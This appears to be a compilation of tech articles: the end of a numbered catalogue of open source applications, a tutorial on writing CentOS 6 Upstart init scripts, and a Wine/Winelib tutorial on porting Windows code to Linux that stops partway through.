881. TimeTrex
In addition to tracking employee time and attendance, this app includes scheduling, estimating and document management modules that are helpful for project managers. The site offers a helpful demo, and you can also purchase the app on an SaaS basis. Operating System: Windows, Linux, OS X
882. Todomoo
Todomoo combines a hierarchical task manager with a time tracker that allows you to bill for your time on multiple projects. It's also available in a portable edition that you can run from a USB drive. Operating System: Windows.

Open Source Apps: To-Do Lists/Schedulers/Calendars

883. Astrid
Astrid describes itself as a "social productivity" tool. Basically, it's a to-do list and reminder system that you can use individually or with groups. Operating System: Android
884. BORG Calendar
No need to worry about being assimilated, this "BORG" stands for "Berger Organizer." It combines basic calendar functionality with a sophisticated to-do list that actually works more like most project management software. Operating System: OS Independent.
885. Makagiga
Like RedNotebook (below), Makagiga includes a to-do list, calendar, and text editor, but it also adds a feed reader and a sticky-note widget. You can also import and export documents from other applications. Operating System: Windows, Linux
886. RedNotebook
RedNotebook combines a calendar/to-do list with a text editor that use can use to create a journal, track progress on projects or make notes on upcoming events. If you need something more freeform than traditional project management software, this app might be for you. Operating System: Windows, Linux
887. Task Coach
While it's very simple, this to-do list includes the helpful ability to divide tasks into smaller subtasks. It's also available in mobile versions for use on your smartphone. Operating System: Windows, Linux, OS X, iOS
888. ThinkingRock
This app helps you put into practice the "Getting Things Done" methodology featured in books by David Allen. Different screens help you collect your thoughts, process thoughts, then organize, review, and do. Operating System: Windows, Linux

Open Source Apps: Transit

889. OpenTripPlanner
This one-year-old project aims to make it easy for government entities to communicate information about public transit schedules, walking and biking routes and other travel-related information. Portland's TriMet, one of the sponsors of the project, currently has a working demo of the software in action. Operating System: OS Independent

Open Source Apps: Typing

890. Klavaro
Klavaro offers a much more comprehensive program that includes a basic course, adaptability exercises, fluidity exercises, velocity exercises, progress charts and more. Unlike many other programs, you can also use it to learn alternative keyboard layouts in addition to the standard QWERTY keyboard. Operating System: Windows, Linux
891. TypeFaster Typing Tutor
TypeFaster also includes touch typing lessons and a 3D typing game for extra practice. It comes in standard, accessible, and Spanish versions, as well as a multiple user version that allows instructors to assign certain lessons each day and track student progress. Operating System: Windows, Linux.
892. TuxType
This app for younger kids includes some basic typing instruction and two fun games for increasing your typing speed. It's not a comprehensive typing instruction program, but does offer fun supplemental activities and helps elementary students learn where all the letters are on the keyboard. Operating System: Windows, Linux, OS X

Open Source Apps: Utilities

893. Appetizer
Appetizer is a dock-style application launcher for Windows (2000, XP or Vista). It supports the PortableApps.com file format, so it will automatically detect any other portable apps you have on your thumb drive and include them on the dock. Operating System: Windows
894. Barnacle
This WiFi tethering app lets you turn your Android phone into a wireless router that will connect your other devices to the Internet. Note that this app requires root access. Operating System: Android
895. Bulk File Manager
This helpful utility finds duplicate files and gives users the options of deleting or moving them. It also offers bulk file moving, re-naming and secure deletion capabilities. Operating System: Windows
896. Copy Handler
If you're re-organizing or cleaning up your hard drive, Copy Handler can help. It's faster than the standard Windows copy and move features, and it gives you more options, like task queuing, filtering files according to specific criteria, pausing and resuming copying files and changing the copying parameters on the fly. Operating System: Windows
897. Explorer++
This utility doesn't so much replace Windows Explorer as enhance it. It adds tabbed browsing, a preview window, keyboard shortcuts and other features to the familiar interface. Operating System: Windows
898. Folder Menu
This handy tool makes it easier to jump to your favorite files and folders. It works with Windows Explorer, open/save dialog boxes, or the command prompt. Operating System: Windows
899. GnuWin32
This site offers native Windows ports of lots of different open-source apps offered under the GNU license. There are dozens of apps, tools, and libraries available, but many of them fall under the "utilities" category, which is why we put it here on our list. Operating System: Windows
890. HDGraph
Wondering how in the world you managed to fill up 300 GB worth of hard drive space? HD Graph lets you see the reasons in a flash by drawing a multi-level pie chart that details how much space each directory and subdirectory is consuming. Operating System: Windows
891. KShutdown
Need to turn off, turn on, or restart your computer at a later time? This app lets you schedule all those functions so they happen automatically and adds several other features as well. Operating System: Windows, Linux
892. Kysrun
Originally designed for the Eee, Kysrun lets you open applications, link to bookmarks, or perform other operations by typing a few letters instead of hunting through menus. As you begin typing one letter at a time, Kysrun brings up a list of all applications on your system with those letters in the name, and you simply click on the one you want. Operating System: Linux
893. Open Manager
Open manager is an open source file manager for Android smartphones and tablets. It allows you to cut, copy, paste, rename, delete, sort, zip and backup files and folders. Operating System: Android
894. QTTabBar
Like Explorer++, QTTabBar adds tabs to the Windows Explorer interface. It's technically still in alpha, but has a large and enthusiastic user base. Operating System: Windows
895. Standup Timer
Keep your standup meetings short and sweet with this helpful timer. It displays both the amount of time elapsed and the time left before you need to wrap up your meeting. Operating System: Android
896. Startup Manager
Tired of waiting forever while Windows starts up? This app gives you control over which applications and services launch when you start up your system, so that you get better performance and greater security. Operating System: Windows.
897. UltraDefrag
Need to defrag your hard drive? Unlike the defragmenter tool that comes with Windows, UltraDefrag lets you defrag on startup for maximum speed. You can also configure it to shut down your system when it's finished, so you can leave it working at night after you go to bed. Operating System: Windows
898. Unrar Extract and Recover
If you need to extract a lot of RAR archive files and you're not exactly sure what all the passwords are, this tool can help. It "handles password-protected, multi-part and encrypted archives with ease," and it requires no installation. Operating System: Windows, Linux.
899. Windows Leaks Detector
This no-frills app can attach to any running Windows process and detect memory leaks. It groups leaks together by call stack for easier debugging. Operating System: Windows

Open Source Apps: User Authentication

900. SourceAFIS
The "AFIS" in this app name stands for "Automated Fingerprint Identification System." It works with a variety of fingerprint readers to authenticate users. Operating System: OS Independent.
901. Smart Sign
Smart Sign offers several different modules that help you use smart cards for user authentication and digital signatures. It supports a number of different card types and readers, as well as the Open CA certification authority. Operating System: Linux.
902. WiKID
WiKID offers open-source, two-factor authentication that utilizes software tokens for remote access, online banking and other applications that require strong authentication. The enterprise version adds some proprietary code not included in the community version, as well as support. Operating System: OS Independent
903. Coffee
This helpful app keeps your system "awake" during downloads, file transfers, etc. It's very helpful if you don't want your system going into standby mode while it completes a particular activity. Operating System: Windows

Open Source Apps: Version Control

904. Bazaar
This cross-platform, distributed version control system is used by numerous organizations, including open source heavyweights like the GNU project, Ubuntu, MySQL, Bugzilla, Debian and LaunchPad. It boasts great usability and calls itself "version control for everyone." Operating System: Windows, Linux, OS X
905. Git
Used for the Linux kernel, Perl, Eclipse, Ruby on Rails, Gnome, KDE and many other open source projects, this distributed version control system is fast and efficiently handles large projects. It offers strong support for non-linear development and cryptographic authentication of history. Operating System: Windows, Linux, OS X
906. Mercurial
This distributed version control system aims to help teams work together faster and more easily. It's easy to learn, and it's speed makes it particularly good at handling large projects. Operating System: Windows, Linux, OS X
907. 908. TortoiseSVN
If you'd like to use Subversion on Windows, you might want to use the TortoiseSVN client. It lets you use commands and see the status of files from within Windows Explorer. Operating System: Windows

Open Source Apps: Video Tools

909. Avidemux
Best for amateurs, Avidemux offers basic cutting, filtering and encoding capabilities. It also offers some task automation capabilities. Operating System: Windows, Linux, OS X, others
910. Cinelerra
This "movie studio in a box" invites users to "unleash the 50,000 watt flamethrower of content creation in your UNIX box." It offers many advanced compositing, editing and special effects features. Note that there is also a community version of the project at Cinelerra.org. Operating System: Linux
911. DivXRepair
Experiencing problems playing AVI files? DivXRepair may be able to help. Operating System: Windows
912. DVD Flick
Not quite as full-featured as DVDx, DVD Flick focuses on allowing you to create DVDs from the videos on your PC. It supports more than 60 video codecs and 45 file formats. Operating System: Windows
913. DVDx
This powerful audio/video encoder can copy multimedia content to and from a wide variety of formats. It's easy to use, and the website includes a number of tutorials for popular uses, like copying a DVD to DivX or QuickTime files. Operating System: Windows, Linux, OS X
914. FFDShow
This codec decodes numerous file formats. It provides excellent video quality while consuming few computing resources. Operating System: Windows
915. Kaltura Community Edition
Kaltura is home to a number of video-related projects, including a player, editor, widgets, processing, and much more. Their latest release is a Joomla extension that makes it easy to add video to your Joomla-based Web site. Operating System: OS Independent.
916. Kdenlive
Although primarily for home users, Kdenlive offers enough advanced features that its suitable for some professional projects. It's extremely versatile and makes it very easy to edit your video projects. Operating System: Linux, OS X
917. LiVES
LiVES (short for "LiVES is a Video Editing System") offers both non-linear editing and real-time editing capabilities for VJs. It's a professional-quality tool with an intuitive interface and advanced special effects. Operating System: Windows, Linux, OS X
918. Miro
While most video players also play audio (and thus ended up in the multimedia category), this one just plays video. It's claim to fame is its support for HD, as well as its library of 6,000 free movies and TV shows. Operating System: Windows, Linux, OS X
919. OpenShot Video Editor
Very popular with Linux users, OpenShot offers a simple, user-friendly interface, but doesn't skimp on features. Check out the website for videos showing this software in action. Operating System: Linux
920. VirtualDub
Not as full-featured as the other apps on this list, VirtualDub primarily offers video capture and processing capabilities for AVI files. Operating System: Windows
921. Windows Essentials Codec Pack
Having trouble playing a video file you've downloaded from the Internet? This download gives you the tools you need to play 99 percent of files available, including a simple media player. Operating System: Windows.

Open Source Apps: Virtualization

922. Xen
Used by many commercial cloud services, the Xen hypervisor is included in most Linux distributions and is also available as an appliance. Many commercial virtualization products, including the Citrix XenServer, are built on top of Xen. Operating System: Windows, Linux, Solaris, others
923. VirtualBox
VirtualBox offers virtualization for x86 and AMD64/Intel64 servers and desktops. Pre-built VirtualBox appliances are available for download from Oracle. Operating System: Windows, Linux, OS X, Solaris, others
924. OpenVZ
OpenVZ takes a different approach to virtualization: unlike VMware, VirtualBox and many other virtualization solutions which use VMs, OpenVZ offers container-based virtualization through VEs or VPSs. Commercial products based on OpenVZ are sold as Parallels Virtuozzo Containers. Operating System: Linux
925. KVM
Short for "Kernel-based Virtual Machine," KVM allows users to run multiple Linux or Windows virtual machines on a single server. Like Xen, it's included in many Linux distributions. Operating System: Windows, Linux

Open Source Apps: Vulnerability Assessment

926. BackTrack Linux
The "most widely adopted penetration testing framework in existence," BackTrack includes a complete Linux distribution with an up-to-date set of tools for penetration testing. Easy instructions for downloading it to a USB drive are included on the site. Operating System: Linux
927. Metasploit
Metasploit can be used both to determine any weakness in your network or by black or white hats to create new exploits. For less knowledgeable users, it's also now available in a commercial "Metasploit Express" penetration testing version with an easy-to-use GUI. Operating System: Windows, Unix
928. Nmap
Nmap (Network Mapper) is useful for monitoring which devices are connected to your network and for detecting possible security holes. It can run from the command line or a GUI, and also includes Ncat for debugging and data transfer and Ndiff for spotting the differences between two scans. It's also the open source equivalent of a movie star, having been featured in The Matrix Reloaded, Die Hard 4, The Bourne Ultimatum, and several other movies. Operating System: Windows, Linux, OS X
929. Nikto
Nikto scans Web servers for thousands of dangerous files and server-specific problems. Optional automatic updates are available. Operating System: Windows, Mac, Linux, Unix, BSD
930. OpenVAS
Several years ago, the Nessus vulnerability scanner moved from an open source license to a proprietary one. OpenVAS is an open source fork that continues development of the original Nessus scanner. The scanner requires a feed of network vulnerability tests in order to work, but the project also includes an open source daily feed of more than 18,000 of such tests. Operating System: Windows, Linux, OS X
931. Paros
This Java-based scanner intercepts all http and https data transmitted between server and client to help evaluate the security of Web applications. It includes a spider, proxy-chaining, intelligent scanning for XSS and SQL injections, and more. Operating System: OS Independent
932. Samurai
Find out how well your Web site will stand up to attack with this penetration testing framework. It incorporates a number of well-known open source tools, including e Fierce domain scanner, Maltego, WebScarab, ratproxy, w3af, burp, BeEF, AJAXShell and many others. Operating System: Linux.

Open Source Apps: VoIP

933. QuteCom
Formerly known as Wengo, this project enables free VoIP calls from one PC to another. This is still a developing project, so it's not as easy to use yet as Skype or some other VoIP solutions. Operating System: Windows, Linux, OS X

Open Source Apps: Web Analytics

934. HummingBird
Although it's still a pre-alpha release, this app is interesting for its ability to let you view your website visitor statistics in real time. It refreshes 20 times per second, giving you immediate insight into what's happening on your site. Operating System: Linux

Open Source Apps: Web Filtering

935. DansGuardian
DansGuardian runs on a Linux or OS X server to block objectionable content from any PC connected to the network (including Windows PCs). It uses URL and domain filtering, content phrase filtering, PICS filtering, MIME filtering, file extension filtering and POST limiting to block pornography and other content that you don't want your children or employees accessing. Operating System: Linux, OS X
936. iSAK
The "Internet Secure Access Kit" (iSAK) lets you view reports on what type of sites your users are visiting and when. Of course, it also gives you the option to block specific sites or categories of sites for security or to prevent access to objectionable sites. It also incorporates anti-virus and anti-spam protection. Operating System: Linux

Open Source Apps: Web Page Editors

937. Amaya
Originally developed by the World Wide Web Consortium (W3C) in 1996, Amaya promotes two-way Web communication by incorporating both a Web page viewer and a Web page editor. It supports multiple Web languages, including HTML, CSS, XML, XHTML, MathML and SVG. Operating System: Windows, Linux, OS X
938. Bluefish
Created with more experienced Web developers and designers in mind, Bluefish is a lightweight, fast editor that can be used with multiple programming languages, including HTML, PHP, Python, Ruby, JavaScript and others. Key features include a powerful search and replace function, side bar snippets, multiple document interface, unlimited undo/redo, and a spellchecker that supports many programming languages. Operating System: Windows, Linux, OS X
939. BlueGriffon
First released this year, BlueGriffon uses Gecko, the same engine used by Mozilla products, so it makes it easy to see how your Web pages will look on Firefox. While the core software is free, several add-ons require a fee. Operating System: Windows, Linux, OS X
940. Firebug
If you're comfortable editing code, Firebug is a fabulous tool for editing your Web pages live. It integrates with Firefox and makes it easy to search, edit, and find errors in your HTML, CSS, or JavaScript. Operating System: Windows, Linux, OS X
941. KompoZer
KompoZer aims to make it easy for novices to create Web pages thanks to an intuitive Web file management system and an excellent WYSIWYG editor. The interface is similar to Dreamweaver's, and like BlueGriffon, it's powered by the Gecko engine. Operating System: Windows, Linux, OS X
942. SeaMonkey
This "all-in-one Internet application suite" includes a Web browser, e-mail client, feed reader, chat client and HTML editor. It's powered by Mozilla source code, and has a large library of add-ons for more features. Operating System: Windows, Linux
943. XML Copy Editor
For XML only, this editor is lightweight and fast. It validates your code as you type and offers a simple, basic interface. Operating System: Windows, Linux

Open Source Apps: Web Servers

944. Apache HTTP Server
Used by 63 percent of all websites, Apache has been the most popular Web server for more than a decade. It prides itself on being secure, efficient and extensible. Operating System: Windows, Linux, OS X
945. Apache Tomcat
Often used alongside the Apache HTTP server, Tomcat offers a "pure Java" HTTP web server for running Java code. Well-known websites that use Tomcat include Walmart, E*Trade, The Weather Channel and many others. Operating System: Operating System: Windows, Linux, OS X
946. AppServ
The goal of the App Serv project is simple: allow users to set up a Web server with Apache, MySQL and PHP in one minute or less. Note that this project originated in Thailand so some of the English documentation reads a little strange. Operating System: Windows, Linux
947. EasyPHP
EasyPHP lets you set up a WAMP (Windows, Apache, MySQL and PHP) environment on a system or a thumb drive in just minutes. It also includes optional modules for WordPress, Spip, PrestaShop, Drupal, Joomla, and other apps. Operating System: Windows
948. Nginx
Nginx (pronounced "engine X") is both an HTTP and a mail proxy server. Currently powering about 8 percent of all websites, it's the third most popular Web server. Operating System: Windows, Linux, OS X
949. WampServer
This is another project that bundles together Apache, MySQL and PHP into an easy-to-install package. However, this one only supports Windows. Operating System: Windows
950. XAMPP
Most of them time when you want to install the Apache Web server, you'll also need other tools, like MySQL, PHP and Perl. This group of downloads bundles together all of those tools—along with a variety of other open source software that's helpful for running a Web server—in an easy-to-deploy package customized for each of the major operating systems. Operating System: Windows, Linux, OS X, Solaris
951. Z-WAMP
Another option for creating a portable WAMP stack, Z-WAMP aims to be lightweight and easy to install. Additional applications included in the package include Adminer, MongoDB Admin, MemCached, SQLite, eAccelerator, and Alternative PHP Cache (APC). Operating System: Windows

Open Source Apps: Wikis

952. DokuWiki
This simple-to-use wiki was designed for developer teams and other small groups. Key features include unlimited revisions, recent changes viewing, section editing, anti-spam capabilities, multiple language support and more. Operating System: OS Independent
953. FOSWiki
A split from the TWiki project, FOSWiki distinguishes itself with support of embedded macros to enhance content and allow end-users to create their own applications. The Web site includes considerable support for new users, as well as a number of extensions to the basic application. Operating System: OS Independent
954. MediaWiki
Because it's the software used by Wikipedia, MediaWiki should feel familiar to most users. It's scalability makes it a good choice for large wikis. Operating System: Windows, Linux/Unix, OS X
955. TikiWiki
TikiWiki calls itself "Groupware" because it offers features like blogs, forums, an image gallery, map server, bug tracker and feed reader to standard wiki capabilities. The software is completely open source, but support, consulting, hosting and other services are available through third-party partners listed on the site. Operating System: OS Independent
956. TWiki
As a structured wiki, TWiki combines the benefits of a wiki with the benefits of a database. It can be used for project management, document management, as a knowledge base, or to collaborate on virtually any type of content for intranets or the Internet. Operating System: OS Independent.
957. XWiki
XWiki combines an enterprise-grade wiki, a wiki manager (for those who have multiple wikis), a generic wiki platform and an RSS Reader. It's a second-generation wiki, meaning that it gives users the ability to create and deliver apps from within the wiki. Operating System: OS Independent.










How to write CentOS initialization scripts with Upstart

$
0
0
http://www.openlogic.com/wazi/bid/281586/How-to-write-CentOS-initialization-scripts-with-Upstart


On Linux systems, initialization (init) scripts manage the state of system services during system startup and shutdown. When the system goes through its runlevels, the System V init system starts and stops services as configured. While this tried-and-true technology has been around since the dawn of Unix, you can now create modern and efficient CentOS 6 init scripts by using Upstart, an event-based replacement for System V init.
Until its latest release, CentOS used the System V init system by default. SysV init scripts are simple and reliable, and guarantee a certain order of starting and stopping.
Starting with version 6, however, CentOS has turned to a new and better init system – Upstart. Upstart is faster than System V init because it starts services simultaneously rather than one by one in a certain order. Upstart is also more flexible and robust, because it is event-based. Upstart generates events at various times, including while going through the system runlevels, similar to the SysV init system. However, Upstart may also generate custom events. For example, with Upstart you can generate an event that requires certain services to be started, regardless of the runlevel. And Upstart not only generates events, it also handles them – so, for example, when it acknowledges the event for starting a service it will do so. This event-based behavior is robust and fast.
Upstart supports SysV init scripts for compatibility reasons; most service init scripts in CentOS 6 continue to be SysV-based. You might someday have to create an init script yourself if you write custom software. If you do, you should write your new init scripts with Upstart in mind so you can benefit from the new init system's faster performance and additional features.

Beginning the Upstart init script

Upstart keeps init scripts in the /etc/init/ directory. A script's name should correspond to the name of the service or job it controls, with a .conf extension. The init script for the Tomcat service, for example, should be named /etc/init/tomcat.conf.
Like SysV init scripts, Upstart init scripts are regular Bash scripts, but extended with some Upstart-specific directives, which are called stanzas in Upstart. In SysV init scripts you commonly see the line . /etc/init.d/functions, which provides access to additional necessary SysV functions. Upstart scripts are more sophisticated and complete; you don't have to include any additional functions or libraries.
Just as in any Bash script, comments in Upstart scripts start with #. Put descriptive comments at the beginning of each script to explain its purpose, and in other places where the code may need explanation. You can use two special stanzas, author and description, for documentation.

Defining when a service starts

Tasks and services
Upstart manages two types of jobs: tasks and services. Tasks are short-lived processes that are expected to start, complete a task, then die. One example for such a task job is defined in /etc/init/control-alt-delete.conf in CentOS 6. It restarts the computer when a user presses the Control, Alt, and Delete keys.
In contrast to a task job, a service job handles a daemon or service, such as the Apache web service. This article focuses on service jobs.
After the introductory comments you can define when a service should start and stop using the special stanzas stop on and start on. These two stanzas can be used with a recognized Upstart event such as when the system enters a runlevel.
Usually administrators configure service jobs to start and stop with the server. By convention, in CentOS you should configure a service job to start at runlevels 2, 3, 4, and 5 and stop at runlevels 0, 1, and 6. In an Upstart init script this is written like this:
start on runlevel [2345]
stop on runlevel [06]
This instructs Upstart to start and stop the service whenever the system enters the runlevel in brackets.
Upstart also lets you start or stop services based on other types of events, such as the starting or stopping of other services. For example, suppose you have an Apache web server integrated with a Varnish caching web server, as described in the article Varnish improves web performance and security. In such a scenario you should make sure that Varnish starts whenever Apache starts, so the configuration stanza for Varnish should look like:
start on starting httpd
stop on stopped httpd
The latter stanza is an unique feature of Upstart; Upstart init scripts can stop services at the same time as other services are stopped, while SysV init scripts depend solely on runlevels.
Another difference is that you configure SysV init scripts when to start and stop by placing symlinks to them in the corresponding runlevels' directories in /etc/rcX.d/, where X is the runlevel number. The command chkconfig does this automatically for you in CentOS. While chkconfig continues to manage most of the init scripts in CentOS 6, it does not work with Upstart, and you cannot manage Upstart jobs with it.

Preparing for an Upstart job

To prepare and customize your environment for an Upstart service job you can use a few additional parameters, each on a new line in the job's .conf file:
  • respawn – When you use this parameter the service process will be restarted if it dies unexpectedly. Without this Upstart parameter you might have to write a dedicated wrapper program to start a service and ensure its proper and constant operation, such as mysqld_safe for starting MySQL.
  • expect fork – Every service job should be expected to fork in as a background process. When you specify this parameter Upstart obtains the new process's PID, which it can use later to send signals to it, such as to shut down or reload configuration.
  • kill timeout [seconds] – This is the number of seconds before the process may be forcibly killed. You should specify enough time (say, 120 seconds) so that interruption-sensitive services such as MySQL are able to complete any pending operations and shut down safely.
You can also adjust a few Bash variables in the job's .conf file. For example, you can configure the umask (permissions) with which new files will be created. A secure choice is umask 007, which means that new files will be created with restrictive permissions 770, which allow only the user itself and the members of its user group to manipulate the newly created files.
A special Upstart stanza pre-start allows you to specify a command or inline script to be run right before Upstart actually starts the job. This stanza is suitable for specifying any sanity checks, such the existence of a necessary file. You may also define prerequisite tasks, such as cleaning of the caching directory of a caching proxy. If the pre-start procedure fails – that is, if it exits with a code other than zero – then the whole job fails and the service is not started.
To see how this works, here's a pre-start directive to remove PHP accelerator eAccelerator's previously cached files, as you would want to do when eAccelerator is integrated with Apache: pre-start exec rm /var/cache/eaccelerator/* -rf. A longer example with a whole inline script looks like:
pre-start script
# check if Apache's binary is executable or fail
[ -x /usr/sbin/httpd ]
# clear the /tmp directory from old sessions
rm /tmp/sess_*
end script
Several other stanzas are similar to the pre-start stanza:
  • post-start– specifies a procedure to run after starting the service. This is usually useful for complex services that may need additional attention after startup, such as MySQL.
  • pre-stop– specifies actions used in preparing for the service shutdown. It is rarely used.
  • post-stop– may be regarded as an alternative to the pre-start stanza; in some cases it makes more sense to take some actions right after service shutdown instead of waiting for its next start.

Configuring the Upstart start command or script

Once you've configured your environment, the last thing you must do is define the job's command or script using the stanzas script ... end script to write a regular Bash script inline, or just exec to simply execute a command with arguments. Here's an example that uses the script stanza for the rsyslog service in the rsyslog.conf file:
script
. /etc/default/rsyslog
exec rsyslogd $SYSLOGD_OPTIONS
end script
The above directive first sources (includes) the content of the file /etc/sysconfig/rsyslog, where the variable SYSLOGD_OPTIONS is defined. This variable is then used to start the rsyslogd service. This is a convenient way to start a service that requires complex or custom configuration, and it's why such script stanzas are suitable for services such as MySQL or Apache.
Alternatively, the exec stanza lets you specify an executable file and any additional arguments it may need. It's suitable for simpler services; for example, you can start the CUPS daemon with the directive exec /usr/sbin/cupsd -F.

How Upstart stops and reloads services

If you're familiar with SysV init scripts, you may wonder how you configure the commands to stop a service or reload its configuration. The answer is that you don't have to; with Upstart you only configure the start command for a service. When Upstart starts a service it keeps track of its PID and the PIDs of the process forks. When Upstart later needs to shut down a service, it does so with the native Unix signals. Upstart first sends a PID the SIGTERM signal to gracefully shut it down. If the process ignores SIGTERM, Upstart sends SIGKILL to forcibly kill it. Similarly, when the configuration needs to be reloaded, Upstart sends the SIGHUP signal. Upstart's simple architecture removes the needs to specify procedures for stopping, restarting, and reloading a service, though if the shutdown procedure for a service requires more than just sending SIGHUP or SIGTERM signals, you can use the pre-stop and post-stop stanzas.
One last and important difference between Upstart and SysV inits is how you manually start and stop jobs. Upstart works with the command /sbin/initctl, the init daemon control tool. It accepts as a first argument stop, start, restart, or reload, and changes the state of the service correspondingly. The second argument is the name of the service. For example, to start MySQL's Upstart job manually you would run the command initctl start mysqld.
I hope you can see the advantages of Upstart's powerful and sophisticated features. Today most default service jobs in CentOS 6 today remain SysV-based, though that will probably change over time. In Ubuntu, for example, Upstart was introduced in 2009, and today most of the init scripts have been migrated to Upstart.

Wine for advanced users and developers (Build and run windows apps without using Windows)

$
0
0
http://www.linuxuser.co.uk/tutorials/wine-for-advanced-users-and-developers


While Linux has one of the largest software catalogues on the planet, there are still many software applications which are either only available for Windows or are only possible to make on Windows. For users, it means that they will miss out on some of their favourite software (for example, Microsoft Office and a lot of games). For developers it means losing a significant market to people who are using Linux. While most of the software can be written for both the platforms if you plan ahead, it becomes painfully difficult (and sometimes impossible) when the software is already written. This is where Wine comes to rescue.
For users, Wine provides a way of running Windows applications without any modification on a Linux system. For developers, it provides a way of making their applications work with Linux with maximum compatibility.

Wine

Before we dive into the tutorial, let’s understand what Wine is. Wine is not an emulator that emulates the Windows OS to run Windows applications. It is a compatibility layer for Windows applications on POSIX-compliant operating systems such as Linux, BSD and Mac OS X. It translates Windows API calls into POSIX calls on-the-fly. Being just a compatibility layer means that Wine runs applications at native performance. That’s not all: since it doesn’t need Windows to function, you won’t need a Windows licence to run Windows applications. In addition to the Windows compatibility, Wine provides open source implementations for some of the most sought-after APIs in the industry (like DirectX, ActiveX, DDE etc).
Wine helps Windows developers to bring their software to Linux in the following ways…
Direct binary execution: This is achieved with the tool called ‘wine’ (part of the Wine distribution). In this process, application source code is compiled on the Windows platform, and then the binary file is taken to the Linux system and is run through Wine. When the application is run with binary compatibility, it can use all existing .dll files. This process is pretty straightforward, but is not able to unleash the full power of the Wine subsystem. However, this is the only way to go if you do not have the access to the source code. You can also wrap Wine with your application to create an easy-to-use way to run it on the Linux platform.
Recompiling the application with Winelib: In this method the source code file is taken to the Linux box, where it is compiled against the Winelib libraries using GCC. This way, the application will also be able to catch up with UNIX API calls in order to leverage the full power of UNIX. Winelib ships with a tool called Winemaker, which creates a GNU standard autoconf-based makefile out of a VC++ project. Winemaker is a Perl script that does all the dirty work involved in converting the source code, making it UNIX specific, clearing up case issues and a lot more.

Winelib

Winelib is a software development kit for building Windows applications for Linux (and other POSIX operating systems). It includes the Win32 API implementation providing the necessary libraries and header files. It supports C/C++ and shares 100 per cent of its code with Wine.
Winelib is capable of building GUI applications, console applications and dynamic- link libraries (DLLs).
One of the biggest benefits Winelib provides is the ability to make calls to UNIX APIs directly from your Windows source code, resulting in better integration than with the direct binary execution method.
In this tutorial we will be using Winelib to compile a Visual C++ application on the Linux platform.

Resources

Mandatory development tools: GCC, G++, Make etc
Git: It is used by the Wine project as the primary source control system
Optional: Access to Windows system with Microsoft Visual Studio 2008 installed

Step by Step

Windows on Linux
Wine Notepad running in chrooted environment

Step 01

Rules of engagement
The first step to any porting project is to make sure your code is ready for the new platform. There are a few basic rules of thumb that apply to any application which is supposed to be ported. These cover some basic Windows and Linux operating environment differences. First, differences between DOS and UNIX text files must be fixed. Otherwise you may receive errors related to carriage returns and numerous other similar errors.
Then there’s the case of filenames. As you will probably be aware, kunal.c and Kunal.c are the same in a Windows environments, but not in Linux. So, the filenames used in include statements might be different from the original files you are actually referring to.
Include statements should avoid using ‘\’ – instead they should use ‘/’. ‘/’ is recognised in both the environments, but using ‘\’ may cause errors in UNIX.
Makefiles should be changed accordingly to fit into the new environment. Makefiles are not generally cross-platform compatible.
Sprinkle your code with #ifdefs. This good old technique can be used to isolate the platform- specific code in a very efficient manner.
#ifdef _WIN32
// Windows (x64 and x86)
#elif __unix__ // all unix
// Unix
#elif __posix__
// POSIX
#elif __linux__
// linux
#elif __APPLE__
// Mac OSX code
#endif

Step 02

Building Wine
There is a very good chance that the Wine shipping with your favourite Linux distribution is outdated. That’s why we will build Wine directly from the source. This will allow us to build Wine to our liking.
NOTE: We are using Ubuntu 12.10 64-bit for this tutorial. If you are using any other 64-bit distribution you will need the respective package management command. If you are using Ubuntu 12.10 32-bit or any other 32-bit distribution, skip this – go directly to installing build dependencies.
Creating chroot for Wine: Since Wine depends upon a lot of 32-bit libraries, it is a good idea to build it in a chroot environment. A chroot is a way of isolating applications from the rest of your computer, by putting them in a jail. In this case we will set up a chroot with the 32-bit binaries and libraries.
Install the chroot packages
$ sudo apt-get install dchroot debootstrap
Create a directory which will hold the root of the chroot environment
$ sudo mkdir /var/chroot
Create chroot configuration for the
current distribution
@config file: /etc/schroot/schroot. conf
[quantal]
description=Quantal Quetzal directory=/var/chroot
users=kunal
groups=sbuild
root-groups=root
You’ll need to replace ‘Quantal’ with the name of the distro you are using. You will also need to replace ‘kunal’ with the correct username.
NOTE: The distribution name should be a valid distribution, else chroot environment will not be created. To find valid and supported distribution names, look in the directory /usr/share/debootstrap/scripts/.
Install the base system for your chroot
$ sudo debootstrap --variant=buildd --arch i386 quantal /var/chroot/ http://mirrors.us.kernel.org/ubuntu/
NOTE: You can replace the mirror with one of your liking, preferably nearby. A list of mirrors is located at https://launchpad.net/ubuntu/+archivemirrors. You will need to make sure that the mirror you are selecting contains the distribution you are chrooting.
Set up the Apt sources
$ sudo cp /etc/apt/sources.list / var/chroot/etc/apt/
Enter chroot and install the build dependencies
$ sudo chroot /var/chroot
# apt-get update
# apt-get build-dep wine
# apt-get install git
Install additional dependencies
# apt-get install libosmesa-dev ocl- icd-opencl-dev libhal-dev libxml- perl
Cloning the Wine Git
$ git clone git://source.winehq.org/ git/wine.git
Build and install Wine
We are now all set up to build Wine. # cd wine*
# ./configure
# make
# make install
Setting up the X-server
To make the GUI applications work from within the chrooted environment, you will need to set up the X-server:
On the system shell
$ xhost +
On the chrooted shell
# export DISPLAY=:0.0
You can now test the setup by running the following command
# wine notepad
Now you can use the chrooted environment for all your Wine-related activities.


Step 03

Porting Hello World Win32 application
In this step we will see what it takes to build a simple Hello World application in Linux using Wine.
The following example shows a message box with the text ‘Hello from Windows World!’.
hello.c
#include
int WINAPI WinMain(HINSTANCE
hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd )
{
MessageBox(NULL,TEXT(“Hello
from Windows
World!”),TEXT(“HelloMsg”),0);
return 0;
}
Winelib ships with nice GCC wrappers which are compatible with the MinGW compiler. These wrappers are called winegcc and wineg++. This way if you have an application that uses the MinGW compiler on Windows, you can simply replace the gcc/g++/windres with winegcc/ wineg++/wrc .
To compile the application, we use the winegcc command:
# winegcc hello.c -o hello
Upon successful compilation, you will notice that it produces two files instead of just one. In this case…
hello.exe.so: This is the main binary of the application. But you cannot execute this directly. It is a shared object file that must be run using Wine. It is directly linked to the Wine library.
# ldd hello.exe.so
linux-gate.so.1 => (0xf771d000)
libwine.so.1 => /usr/local/lib/
libwine.so.1 (0xf75b9000)
libc.so.6 => /lib/i386-linux-gnu/
libc.so.6 (0xf740f000)
libdl.so.2 => /lib/i386-linux-
gnu/libdl.so.2 (0xf7409000)
/lib/ld-linux.so.2 (0xf771e000)
hello.exe: Although it looks like the main output of the source, it is merely a script to launch the main application. You can modify hello.exe to customise the launch parameters. You can even specify a different version of Wine for use with the executable.
#!/bin/sh
